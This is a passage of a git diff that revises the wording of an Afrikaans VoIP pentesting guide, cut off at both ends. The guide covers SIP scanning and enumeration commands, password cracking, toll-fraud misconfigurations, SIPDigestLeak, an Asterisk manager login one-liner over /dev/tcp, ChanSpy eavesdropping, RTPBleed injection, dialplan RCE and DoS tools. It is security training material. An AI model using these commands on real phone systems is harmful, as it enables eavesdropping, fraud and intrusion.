Faalresponsies** +**6xx—Globale Faalresponses** ``` 600 Busy Everywhere 603 Decline @@ -131,7 +131,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261 ### Telefoonnommers -Een van die eerste stappe wat 'n Red Team kan doen, is om beskikbare telefoonnommers te soek om met die maatskappy te kontak deur middel van OSINT-tools, Google-soektogte of deur webbladsye te scrape. +Een van die eerste stappe wat 'n Red Team kan doen, is om beskikbare telefoonnommers te soek om met die maatskappy te kontak deur OSINT-gereedskap, Google-soektogte of deur webbladsye te scrape. Sodra jy die telefoonnommers het, kan jy aanlyn dienste gebruik om die operateur te identifiseer: @@ -142,7 +142,7 @@ Sodra jy die telefoonnommers het, kan jy aanlyn dienste gebruik om die operateur Om te weet of die operateur VoIP-dienste bied, kan jy identifiseer of die maatskappy VoIP gebruik... Boonop is dit moontlik dat die maatskappy nie VoIP-dienste gehuur het nie, maar PSTN-kaarte gebruik om sy eie VoIP PBX aan die tradisionele telekommunikasienetwerk te koppel. -Dinge soos outomatiese musiekantwoorde dui gewoonlik aan dat VoIP gebruik word. +Dinge soos outomatiese musiekresponsies dui gewoonlik aan dat VoIP gebruik word. ### Google Dorks ```bash @@ -192,7 +192,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` -- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan is 'n baie vinnige skandeerder vir SIP-dienste oor UDP, TCP of TLS. Dit gebruik multithreading en kan groot reekse van netwerke skandeer. Dit laat jou toe om maklik 'n poortreeks aan te dui, beide TCP & UDP te skandeer, 'n ander metode te gebruik (standaard sal dit OPTIONS gebruik) en 'n ander User-Agent te spesifiseer (en meer). +- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS-scan is 'n baie vinnige skandeerder vir SIP-dienste oor UDP, TCP of TLS. Dit gebruik multithreading en kan groot reekse van netwerke skandeer. Dit maak dit maklik om 'n poortreeks aan te dui, beide TCP en UDP te skandeer, 'n ander metode te gebruik (standaard sal dit OPTIONS gebruik) en 'n ander User-Agent te spesifiseer (en meer). ```bash sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] @@ -254,19 +254,19 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200 auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) ``` -- **`enumiax` (`apt install enumiax`): enumIAX** is 'n Inter Asterisk Exchange protokol **gebruikersnaam brute-force enumerator**. enumIAX kan in twee verskillende modi werk; Volgorde Gebruikersnaam Raai of Woordeboekaanval. +- **`enumiax` (`apt install enumiax`): enumIAX** is 'n Inter Asterisk Exchange-protokol **gebruikersnaam brute-force enumerator**. enumIAX kan in twee verskillende modi werk; Volgorde Gebruikersnaam Raai of Woordeboekaanval. ```bash enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -v -m3 -M3 10.10.0.10 ``` -## VoIP Aanvalle +## VoIP-aanvalle ### Wagwoord Brute-Force - aanlyn Nadat die **PBX** en 'n paar **uitbreidings/gebruikername** ontdek is, kan 'n Rooi Span probeer om te **authentiseer via die `REGISTER` metode** na 'n uitbreiding deur 'n woordelys van algemene wagwoorde te gebruik om die authentisering te brute-force. > [!CAUTION] -> Let daarop dat 'n **gebruikernaam** dieselfde kan wees as die uitbreiding, maar hierdie praktyk kan verskil afhangende van die PBX-stelsel, sy konfigurasie, en die organisasie se voorkeure... +> Let daarop dat 'n **gebruikernaam** dieselfde kan wees as die uitbreiding, maar hierdie praktyk kan verskil, afhangende van die PBX-stelsel, sy konfigurasie, en die organisasie se voorkeure... > > As die gebruikernaam nie dieselfde is as die uitbreiding nie, sal jy moet **uitvind wat die gebruikernaam is om dit te brute-force**. @@ -297,14 +297,14 @@ Om hierdie inligting te verkry, kan jy gereedskap soos Wireshark, tcpdump... geb #### SIP geloofsbriewe (Wagwoord Brute-Force - aflyn) -[Kontroleer hierdie voorbeeld om beter te verstaan hoe 'n **SIP REGISTER kommunikasie** werk](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) om te leer hoe **geloofsbriewe gestuur word**. +[Kontroleer hierdie voorbeeld om beter 'n **SIP REGISTER kommunikasie** te verstaan](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) om te leer hoe **geloofsbriewe gestuur word**. - **`sipdump`** & **`sipcrack`,** deel van **sipcrack** (`apt-get install sipcrack`): Hierdie gereedskap kan **uittrek** uit 'n **pcap** die **digest-authentikasies** binne die SIP-protokol en **bruteforce** hulle. ```bash sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt ``` -- **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump kan digest outentikasies uit 'n pcap-lêer onttrek. +- **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump kan digest-authentikasies uit 'n pcap-lêer onttrek. ```bash sippts dump -f capture.pcap -o data.txt ``` @@ -330,7 +330,7 @@ In Asterisk is dit moontlik om 'n verbinding **van 'n spesifieke IP-adres** of v host=10.10.10.10 host=dynamic ``` -As 'n IP-adres gespesifiseer is, sal die gasheer **nie REGISTER** versoeke elke nou en dan hoef te stuur nie (in die REGISTER-pakket word die tyd om te lewe gestuur, gewoonlik 30min, wat beteken dat in 'n ander scenario die telefoon elke 30min moet REGISTER). Dit sal egter oop poorte moet hê wat verbindings van die VoIP-bediener toelaat om oproepe te ontvang. +As 'n IP-adres gespesifiseer is, sal die gasheer **nie REGISTER** versoeke elke paar minute hoef te stuur nie (in die REGISTER-pakket word die tyd om te lewe gestuur, gewoonlik 30min, wat beteken dat die telefoon in 'n ander scenario elke 30min moet REGISTER). Dit sal egter oop poorte moet hê wat verbindings van die VoIP-bediener toelaat om oproepe te ontvang. Om gebruikers te definieer kan hulle gedefinieer word as: @@ -340,7 +340,7 @@ Om gebruikers te definieer kan hulle gedefinieer word as: Dit is ook moontlik om vertroue te vestig met die onveilige veranderlike: -- **`insecure=port`**: Laat peer verbindings wat deur IP geverifieer is toe. +- **`insecure=port`**: Laat peer verbindings wat deur IP geverifieer is. - **`insecure=invite`**: Vereis nie verifikasie vir INVITE-boodskappe nie - **`insecure=port,invite`**: Albei @@ -354,9 +354,9 @@ Dit is ook moontlik om vertroue te vestig met die onveilige veranderlike: ### Gratis Oproepe / Asterisks Konteks Misconfigurasies -In Asterisk is 'n **konteks** 'n benoemde houer of afdeling in die kiesplan wat **verwante uitbreidings, aksies en reëls groepeer**. Die kiesplan is die kernkomponent van 'n Asterisk-stelsel, aangesien dit definieer **hoe inkomende en uitgaande oproepe hanteer en gerouteer word**. Konteks word gebruik om die kiesplan te organiseer, toegangbeheer te bestuur, en skeiding tussen verskillende dele van die stelsel te bied. +In Asterisk is 'n **konteks** 'n benoemde houer of afdeling in die kiesplan wat **verwante uitbreidings, aksies en reëls groepeer**. Die kiesplan is die kernkomponent van 'n Asterisk-stelsel, aangesien dit definieer **hoe inkomende en uitgaande oproepe hanteer en gerouteer word**. Konteks word gebruik om die kiesplan te organiseer, toegangbeheer te bestuur, en om skeiding tussen verskillende dele van die stelsel te bied. -Elke konteks word in die konfigurasie-lêer gedefinieer, tipies in die **`extensions.conf`** lêer. Konteks word aangedui deur vierkante hakies, met die konteksnaam binne-in. Byvoorbeeld: +Elke konteks word in die konfigurasie-lêer gedefinieer, tipies in die **`extensions.conf`** lêer. Konteks word aangedui deur hakies, met die konteksnaam binne-in. Byvoorbeeld: ```bash csharpCopy code[my_context] ``` @@ -367,14 +367,14 @@ exten => 100,1,Answer() exten => 100,n,Playback(welcome) exten => 100,n,Hangup() ``` -Hierdie voorbeeld demonstreer 'n eenvoudige konteks genoem "my_context" met 'n uitbreiding "100". Wanneer iemand 100 kies, sal die oproep beantwoord word, 'n welkomstekst sal gespeel word, en dan sal die oproep beëindig word. +Hierdie voorbeeld demonstreer 'n eenvoudige konteks genoem "my_context" met 'n uitbreiding "100". Wanneer iemand 100 bel, sal die oproep beantwoord word, 'n welkomstekst sal gespeel word, en dan sal die oproep beëindig word. Dit is **nog 'n konteks** wat toelaat om **na enige ander nommer te bel**: ```scss [external] exten => _X.,1,Dial(SIP/trunk/${EXTEN}) ``` -As die admin die **default context** as definieer: +As die admin die **default context** definieer as: ``` [default] include => my_context @@ -386,9 +386,9 @@ include => external > [!CAUTION] > Boonop bevat die **`sip.conf`** lêer standaard **`allowguest=true`**, dan sal **enige** aanvaller met **geen outentisering** in staat wees om na enige ander nommer te bel. -- **`SIPPTS invite`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite kontroleer of 'n **PBX-bediener ons toelaat om oproepe te maak sonder outentisering**. As die SIP-bediener 'n onakkurate konfigurasie het, sal dit ons toelaat om oproepe na eksterne nommers te maak. Dit kan ook toelaat dat ons die oproep na 'n tweede eksterne nommer oorplaas. +- **`SIPPTS invite`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite kontroleer of 'n **PBX bediener ons toelaat om oproepe te maak sonder outentisering**. As die SIP bediener 'n verkeerde konfigurasie het, sal dit ons toelaat om oproepe na eksterne nommers te maak. Dit kan ook toelaat dat ons die oproep na 'n tweede eksterne nommer oorplaas. -Byvoorbeeld, as jou Asterisk-bediener 'n slegte kontekskonfigurasie het, kan jy INVITE-versoeke aanvaar sonder outorisering. In hierdie geval kan 'n aanvaller oproepe maak sonder om enige gebruiker/wagwoord te ken. +Byvoorbeeld, as jou Asterisk bediener 'n slegte konteks konfigurasie het, kan jy INVITE versoek aanvaar sonder outorisasie. In hierdie geval kan 'n aanvaller oproepe maak sonder om enige gebruiker/wagwoord te ken. ```bash # Trying to make a call to the number 555555555 (without auth) with source number 200. sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v @@ -403,7 +403,7 @@ IVRS staan vir **Interaktiewe Stem Respons Stelsel**, 'n telekommunikasietegnolo IVRS in VoIP stelsels bestaan tipies uit: 1. **Stem aanwysings**: Vooraf opgeneemde klankboodskappe wat gebruikers deur die IVR-menu opsies en instruksies lei. -2. **DTMF** (Dubbeltoon Multi-Frekwensie) sein: Toetsingang wat gegenereer word deur sleutels op die telefoon te druk, wat gebruik word om deur die IVR-menu's te navigeer en insette te verskaf. +2. **DTMF** (Dubbele Toon Multi-Frekwensie) sein: Toetsingang wat gegenereer word deur sleutels op die telefoon te druk, wat gebruik word om deur die IVR-menu's te navigeer en insette te verskaf. 3. **Oproep roetering**: Oproepe na die toepaslike bestemming lei, soos spesifieke departemente, agente, of uitbreidings gebaseer op gebruikersinvoer. 4. **Gebruikersinvoer vang**: Inligting van bellers versamel, soos rekeningnommers, saak-ID's, of enige ander relevante data. 5. **Integrasie met eksterne stelsels**: Die IVR-stelsel aan databasisse of ander sagteware stelsels koppel om toegang tot of inligting op te dateer, aksies uit te voer, of gebeurtenisse te aktiveer. @@ -431,7 +431,7 @@ Waar **`${EXTEN}`** die **verlenging** is wat gebel sal word, wanneer die **ext ```scss exten => 101,1,Dial(SIP/101) ``` -egter, as **`${EXTEN}`** toelaat om **meer as net nommers** in te voer (soos in ouer Asterisk weergawes), kan 'n aanvaller **`101&SIP123123123`** invoer om die telefoonnommer 123123123 te bel. En dit sou die resultaat wees: +However, if **`${EXTEN}`** toelaat om **meer as net nommers** in te voer (soos in ouer Asterisk weergawes), kan 'n aanvaller **`101&SIP123123123`** invoer om die telefoonnommer 123123123 te bel. En dit sou die resultaat wees: ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` @@ -439,7 +439,7 @@ Daarom sal 'n oproep na die uitbreiding **`101`** en **`123123123`** gestuur wor ## SIPDigestLeak kwesbaarheid -Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed, insluitend beide hardeware en sagteware IP Telefone sowel as telefoonadapters (VoIP na analoog). Die kwesbaarheid laat **lek van die Digest-outehentikasie antwoord toe**, wat bereken word vanaf die wagwoord. 'n **Aflyn wagwoordaanval is dan moontlik** en kan die meeste wagwoorde herwin gebaseer op die uitdaging antwoord. +Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed, insluitend beide hardeware en sagteware IP Telefone sowel as telefoonadapters (VoIP na analoog). Die kwesbaarheid laat **lek van die Digest-authentikasie antwoord** toe, wat bereken word vanaf die wagwoord. 'n **Aflyn wagwoordaanval is dan moontlik** en kan die meeste wagwoorde op grond van die uitdaging antwoord herstel. **[Kwesbaarheid scenario van hier**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf): @@ -447,9 +447,9 @@ Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beïnvlo 2. Die aanvaller stuur 'n INVITE na die IP Telefoon 3. Die slagoffer telefoon begin lui en iemand neem op en hang op (omdat niemand die telefoon aan die ander kant antwoord nie) 4. Wanneer die telefoon opgehang word, **stuur die slagoffer telefoon 'n BYE na die aanvaller** -5. Die **aanvaller gee 'n 407 antwoord** wat **om outentikasie vra** en 'n outentikasie uitdaging uitreik -6. Die **slagoffer telefoon bied 'n antwoord op die outentikasie uitdaging** in 'n tweede BYE -7. Die **aanvaller kan dan 'n brute-force aanval uitvoer** op die uitdaging antwoord op sy plaaslike masjien (of verspreide netwerk ens.) en die wagwoord raai +5. Die **aanvaller gee 'n 407 antwoord** wat **om authentikasie vra** en 'n authentikasie uitdaging uitreik +6. Die **slagoffer telefoon bied 'n antwoord op die authentikasie uitdaging** in 'n tweede BYE +7. Die **aanvaller kan dan 'n brute-force aanval** op die uitdaging antwoord op sy plaaslike masjien (of verspreide netwerk ens.) uitvoer en die wagwoord raai - **SIPPTS lek** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS lek benut die SIP Digest Leak kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed. Die uitvoer kan in SipCrack-formaat gestoor word om dit te bruteforce met SIPPTS dcrack of die SipCrack hulpmiddel. ```bash @@ -474,7 +474,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100 ``` ### Click2Call -Click2Call laat 'n **webgebruiker** (wat byvoorbeeld dalk in 'n produk belangstel) toe om sy **telefoonnommer** in te voer om gebel te word. Dan sal 'n kommersiële oproep gemaak word, en wanneer hy **die telefoon opneem**, sal die gebruiker **gebel en met die agent verbind** word. +Click2Call laat 'n **webgebruiker** (wat byvoorbeeld dalk in 'n produk belangstel) toe om sy **telefoonnommer** in te voer om gebel te word. Dan sal 'n kommersiële oproep gemaak word, en wanneer hy **die telefoon opneem**, sal die gebruiker **gebel en met die agent verbind word**. 'n Algemene Asterisk-profiel hiervoor is: ```scss @@ -487,9 +487,9 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla write = system,call,agent,user,config,command,reporting,originate ``` - Die vorige profiel laat **ENIGE IP-adres toe om te verbind** (as die wagwoord bekend is). -- Om 'n **oproep te organiseer**, soos voorheen gespesifiseer, is **geen leesregte nodig nie** en **slegs** **oorsprong** in **skryf** is nodig. +- Om **'n oproep te organiseer**, soos voorheen gespesifiseer, is **geen leesregte nodig nie** en **slegs** **oorsprong** in **skryf** is nodig. -Met daardie regte kan enige IP wat die wagwoord ken verbind en te veel inligting onttrek, soos: +Met daardie regte kan enige IP wat die wagwoord ken, verbind en te veel inligting onttrek, soos: ```bash # Get all the peers exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3 @@ -498,9 +498,9 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr ### **Afluister** -In Asterisk is dit moontlik om die opdrag **`ChanSpy`** te gebruik wat die **verlenging(e) om te monitor** (of al hulle) aandui om gesprekke te hoor wat plaasvind. Hierdie opdrag moet aan 'n verlenging toegeken word. +In Asterisk is dit moontlik om die opdrag **`ChanSpy`** te gebruik wat die **verlenging(e) om te monitor** (of al die verlengings) aandui om gesprekke te hoor wat plaasvind. Hierdie opdrag moet aan 'n verlenging toegeken word. -Byvoorbeeld, **`exten => 333,1,ChanSpy('all',qb)`** dui aan dat as jy die **verlenging 333** **bel**, dit **alle** verlengings sal **monitor**, **begin luister** wanneer 'n nuwe gesprek begin (**`b`**) in stilmodus (**`q`**) aangesien ons nie daarop wil interaksie hê nie. Jy kan van een gesprek na 'n ander gaan deur **`*`** te druk, of die verlenging nommer te merk. +Byvoorbeeld, **`exten => 333,1,ChanSpy('all',qb)`** dui aan dat as jy die **verlenging 333** **bel**, dit **alle** verlengings sal **monitor**, **begin luister** wanneer 'n nuwe gesprek begin (**`b`**) in stilmodus (**`q`**) aangesien ons nie wil interaksie hê nie. Jy kan van een gesprek na 'n ander gaan deur **`*`** te druk, of die verlenging nommer te merk. Dit is ook moontlik om **`ExtenSpy`** te gebruik om net een verlenging te monitor. @@ -518,13 +518,13 @@ exten => h,1,System(/tmp/leak_conv.sh &) ``` ### RTCPBleed kwesbaarheid -**RTCPBleed** is 'n groot sekuriteitsprobleem wat Asterisk-gebaseerde VoIP-bedieners raak (gepubliseer in 2017). Die kwesbaarheid laat **RTP (Real Time Protocol) verkeer**, wat VoIP-gesprekke dra, toe om **deur enige iemand op die Internet geïntercepteer en hergerig te word**. Dit gebeur omdat RTP-verkeer die verifikasie omseil wanneer dit deur NAT (Network Address Translation) vuurmure navigeer. +**RTCPBleed** is 'n groot sekuriteitskwessie wat Asterisk-gebaseerde VoIP-bedieners raak (gepubliseer in 2017). Die kwesbaarheid laat **RTP (Real Time Protocol) verkeer**, wat VoIP-gesprekke dra, toe om **deur enige iemand op die Internet geïntercepteer en hergerig te word**. Dit gebeur omdat RTP-verkeer outentisering omseil wanneer dit deur NAT (Network Address Translation) vuurmure navigeer. -RTP-proxies probeer om **NAT-beperkings** wat RTC-stelsels beïnvloed, aan te spreek deur RTP-strome tussen twee of meer partye te proxy. Wanneer NAT in plek is, kan die RTP-proxy sagteware dikwels nie staatmaak op die RTP IP- en poortinligting wat deur signalering (bv. SIP) verkry is nie. Daarom het 'n aantal RTP-proxies 'n mekanisme geïmplementeer waar sulke **IP- en poortkombinasies outomaties geleer word**. Dit word dikwels gedoen deur inkomende RTP-verkeer te inspekteer en die bron-IP en poort vir enige inkomende RTP-verkeer as die een wat geantwoord moet word, te merk. Hierdie mekanisme, wat dalk "leer-modus" genoem word, **maak nie gebruik van enige vorm van verifikasie nie**. Daarom kan **aanvallers** **RTP-verkeer na die RTP-proxy stuur** en die geproksiede RTP-verkeer ontvang wat bedoel is vir die bel of die ontvanger van 'n lopende RTP-stroom. Ons noem hierdie kwesbaarheid RTP Bleed omdat dit aanvallers toelaat om RTP-media strome te ontvang wat bedoel is om aan wettige gebruikers gestuur te word. +RTP-proxies probeer om **NAT-beperkings** wat RTC-stelsels beïnvloed, aan te spreek deur RTP-strome tussen twee of meer partye te proxy. Wanneer NAT in plek is, kan die RTP-proxy sagteware dikwels nie staatmaak op die RTP IP- en poortinligting wat deur signalering (bv. SIP) verkry is nie. Daarom het 'n aantal RTP-proxies 'n mekanisme geïmplementeer waar sulke **IP- en poort-tuplet outomaties geleer word**. Dit word dikwels gedoen deur inkomende RTP-verkeer te inspekteer en die bron-IP en poort vir enige inkomende RTP-verkeer as die een wat geantwoord moet word, te merk. Hierdie mekanisme, wat dalk "leer-modus" genoem word, **maak nie gebruik van enige vorm van outentisering nie**. Daarom kan **aanvallers** **RTP-verkeer na die RTP-proxy stuur** en die geproksiede RTP-verkeer ontvang wat bedoel is vir die beler of ontvanger van 'n aanhoudende RTP-stroom. Ons noem hierdie kwesbaarheid RTP Bleed omdat dit aanvallers toelaat om RTP-media strome te ontvang wat bedoel is om aan wettige gebruikers gestuur te word. 'n Ander interessante gedrag van RTP-proxies en RTP-stakke is dat soms, **selfs al is dit nie kwesbaar vir RTP Bleed nie**, hulle **RTP-pakkette van enige bron sal aanvaar, deurstuur en/of verwerk**. Daarom kan aanvallers RTP-pakkette stuur wat hulle mag toelaat om hul media in plaas van die wettige een in te spuit. Ons noem hierdie aanval RTP-inspuiting omdat dit die inspuiting van onwettige RTP-pakkette in bestaande RTP-strome toelaat. Hierdie kwesbaarheid kan in beide RTP-proxies en eindpunte gevind word. -Asterisk en FreePBX het tradisioneel die **`NAT=yes` instelling** gebruik, wat RTP-verkeer toelaat om verifikasie te omseil, wat moontlik lei tot geen klank of eenrigtingklank op oproepe nie. +Asterisk en FreePBX het tradisioneel die **`NAT=yes` instelling** gebruik, wat RTP-verkeer toelaat om outentisering te omseil, wat moontlik lei tot geen klank of eenrigting-klank op oproepe nie. Vir meer inligting, kyk na [https://www.rtpbleed.com/](https://www.rtpbleed.com/) @@ -546,7 +546,7 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav ``` ### RCE -In Asterisk kan jy op een of ander manier **uitbreidingsreëls byvoeg en dit herlaai** (byvoorbeeld deur 'n kwesbare webbestuurderbediener te kompromitteer), dit is moontlik om RCE te verkry met die **`System`** opdrag. +In Asterisk kan jy op een of ander manier **uitbreidingsreëls byvoeg en dit herlaai** (byvoorbeeld deur 'n kwesbare webbestuurder bediener te kompromitteer), dit is moontlik om RCE te verkry met behulp van die **`System`** opdrag. ```scss same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) ``` @@ -586,7 +586,7 @@ Daar is verskeie maniere om te probeer om DoS in VoIP bedieners te bereik. - [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protokol wat deur Asterisk gebruik word. - [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 'n Gereedskap om SIP/SDP INVITE boodskap flooding oor UDP/IP uit te voer. - [**rtpflood**](https://www.kali.org/tools/rtpflood/): Stuur verskeie goed gevormde RTP-pakkette. Dit is nodig om die RTP-poorte wat gebruik word te ken (sniff eers). -- [**SIPp**](https://github.com/SIPp/sipp): Laat jou toe om SIP-verkeer te analiseer en te genereer. Dit kan ook gebruik word om DoS te doen. +- [**SIPp**](https://github.com/SIPp/sipp): Laat toe om SIP-verkeer te analiseer en te genereer, so dit kan ook gebruik word om DoS te doen. - [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP switserse lewensmiddel. Kan ook gebruik word om SIP-aanvalle uit te voer. - Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). diff --git a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md index f2f39d285..58c4ee9a9 100644 --- a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md +++ b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md @@ -12,29 +12,29 @@ Dit is die bedryfstandaard, vir meer inligting kyk: sip-session-initiation-protocol.md {{#endref}} -### MGCP (Media Gateway Control Protocol) +### MGCP (Media Gateway Beheer Protokol) -MGCP (Media Gateway Control Protocol) is 'n **sein** en **oproep** **beheerprotokol** soos uiteengesit in RFC 3435. Dit werk in 'n gesentraliseerde argitektuur, wat uit drie hoofkomponente bestaan: +MGCP (Media Gateway Beheer Protokol) is 'n **sein** en **oproep** **beheerprotokol** soos uiteengesit in RFC 3435. Dit werk in 'n gesentraliseerde argitektuur, wat uit drie hoofkomponente bestaan: -1. **Oproepagent of Media Gateway Controller (MGC)**: Die meesterpoort in die MGCP-argitektuur is verantwoordelik vir **die bestuur en beheer van die media gateways**. Dit hanteer oproepopstelling, -wysiging en -beëindigingsprosesse. Die MGC kommunikeer met die media gateways deur die MGCP-protokol. +1. **Oproepagent of Media Gateway Beheerder (MGC)**: Die meesterpoort in die MGCP-argitektuur is verantwoordelik vir **die bestuur en beheer van die media gateways**. Dit hanteer oproepopstelling, -wysiging en -beëindigingsprosesse. Die MGC kommunikeer met die media gateways deur die MGCP-protokol. 2. **Media Gateways (MG's) of Slave Gateways**: Hierdie toestelle **verander digitale media-strome tussen verskillende netwerke**, soos tradisionele kringgeskakelde telekommunikasie en pakketskakelde IP-netwerke. Hulle word deur die MGC bestuur en voer opdragte uit wat van hom ontvang is. Media gateways kan funksies insluit soos transkodering, pakketering en echo-kansellasie. 3. **Sein Gateways (SG's)**: Hierdie gateways is verantwoordelik vir **die omskakeling van seinboodskappe tussen verskillende netwerke**, wat naatlose kommunikasie tussen tradisionele telekommunikasiestelsels (bv. SS7) en IP-gebaseerde netwerke (bv. SIP of H.323) moontlik maak. Sein gateways is van kardinale belang vir interoperabiliteit en om te verseker dat oproepbeheerinligting behoorlik tussen die verskillende netwerke gekommunikeer word. In samevatting, MGCP sentraliseer die oproepbeheerlogika in die oproepagent, wat die bestuur van media en sein gateways vereenvoudig, wat beter skaalbaarheid, betroubaarheid en doeltreffendheid in telekommunikasienetwerke bied. -### SCCP (Skinny Client Control Protocol) +### SCCP (Skinny Kliënt Beheer Protokol) -Skinny Client Control Protocol (SCCP) is 'n **eienaarskapsein en oproepbeheerprotokol** wat aan Cisco Systems behoort. Dit word hoofsaaklik **gebruik** vir kommunikasie tussen **Cisco Unified Communications Manager** (voorheen bekend as CallManager) en Cisco IP telefone of ander Cisco stem- en video-eindpunte. +Skinny Kliënt Beheer Protokol (SCCP) is 'n **eienaarskap sein- en oproepbeheerprotokol** wat aan Cisco Systems behoort. Dit word hoofsaaklik **gebruik** vir kommunikasie tussen **Cisco Unified Communications Manager** (voorheen bekend as CallManager) en Cisco IP telefone of ander Cisco stem- en video-eindpunte. -SCCP is 'n liggewigprotokol wat die kommunikasie tussen die oproepbeheerbediener en die eindpunttoestelle vereenvoudig. Dit word "Skinny" genoem weens sy minimalistiese ontwerp en verminderde bandwydtevereistes in vergelyking met ander VoIP-protokolle soos H.323 of SIP. +SCCP is 'n liggewig protokol wat die kommunikasie tussen die oproepbeheerbediener en die eindpunttoestelle vereenvoudig. Dit word "Skinny" genoem weens sy minimalistiese ontwerp en verminderde bandwydtevereistes in vergelyking met ander VoIP-protokolle soos H.323 of SIP. Die hoofkomponente van 'n SCCP-gebaseerde stelsel is: -1. **Oproepbeheerbediener**: Hierdie bediener, tipies 'n Cisco Unified Communications Manager, bestuur die oproepopstelling, -wysiging en -beëindigingsprosesse, sowel as ander telekommunikasiefunksies soos oproepdoorgifte, oproepoorplasing en oproephou. -2. **SCCP Eindpunte**: Dit is toestelle soos IP telefone, video-konferensie-eenhede, of ander Cisco stem- en video-eindpunte wat SCCP gebruik om met die oproepbeheerbediener te kommunikeer. Hulle registreer by die bediener, stuur en ontvang seinboodskappe, en volg die instruksies wat deur die oproepbeheerbediener vir oproephantering verskaf word. +1. **Oproepbeheerbediener**: Hierdie bediener, tipies 'n Cisco Unified Communications Manager, bestuur die oproepopstelling, -wysiging en -beëindigingsprosesse, sowel as ander telekommunikasiefunksies soos oproepoorplasing, oproepoorplasing en oproephouding. +2. **SCCP Eindpunte**: Dit is toestelle soos IP telefone, video-konferensie-eenhede of ander Cisco stem- en video-eindpunte wat SCCP gebruik om met die oproepbeheerbediener te kommunikeer. Hulle registreer by die bediener, stuur en ontvang seinboodskappe, en volg die instruksies wat deur die oproepbeheerbediener vir oproephantering verskaf word. 3. **Gateways**: Hierdie toestelle, soos stemgateways of media gateways, is verantwoordelik vir die omskakeling van media-strome tussen verskillende netwerke, soos tradisionele kringgeskakelde telekommunikasie en pakketskakelde IP-netwerke. Hulle kan ook addisionele funksionaliteit insluit, soos transkodering of echo-kansellasie. -SCCP bied 'n eenvoudige en doeltreffende kommunikasie metode tussen Cisco oproepbeheerbedieners en eindpunttoestelle. Dit is egter die moeite werd om te noem dat **SCCP 'n eienaarskapprotokol is**, wat interoperabiliteit met nie-Cisco stelsels kan beperk. In sulke gevalle mag ander standaard VoIP-protokolle soos SIP meer geskik wees. +SCCP bied 'n eenvoudige en doeltreffende kommunikasie metode tussen Cisco oproepbeheerbedieners en eindpunttoestelle. Dit is egter die moeite werd om te noem dat **SCCP 'n eienaarskap protokol is**, wat interoperabiliteit met nie-Cisco stelsels kan beperk. In sulke gevalle mag ander standaard VoIP-protokolle soos SIP meer geskik wees. ### H.323 @@ -45,18 +45,18 @@ Sommige sleutelkomponente van die H.323 suite sluit in: 1. **Terminals**: Dit is eindpunttoestelle, soos IP telefone, video-konferensiestelsels, of sagtewaretoepassings, wat H.323 ondersteun en kan deelneem aan multimedia kommunikasiesessies. 2. **Gateways**: Hierdie toestelle omskep media-strome tussen verskillende netwerke, soos tradisionele kringgeskakelde telekommunikasie en pakketskakelde IP-netwerke, wat interoperabiliteit tussen H.323 en ander kommunikasiesisteme moontlik maak. Hulle kan ook addisionele funksionaliteit insluit, soos transkodering of echo-kansellasie. 3. **Gatekeepers**: Dit is opsionele komponente wat oproepbeheer en bestuursdienste in 'n H.323 netwerk bied. Hulle voer funksies uit soos adresvertaling, bandwydtebestuur, en toelatingsbeheer, wat help om netwerkbronne te bestuur en te optimaliseer. -4. **Multipoint Control Units (MCUs)**: Hierdie toestelle fasiliteer multipoint konferensies deur media-strome van verskeie eindpunte te bestuur en te meng. MCUs stel funksies soos video-opstellingbeheer, stem-geaktiveerde skakeling, en deurlopende teenwoordigheid in staat, wat dit moontlik maak om groot konferensies met verskeie deelnemers te hou. +4. **Multipoint Control Units (MCUs)**: Hierdie toestelle fasiliteer multipoint konferensies deur media-strome van verskeie eindpunte te bestuur en te meng. MCUs stel funksies soos video-lay-outbeheer, stem-geaktiveerde skakeling, en 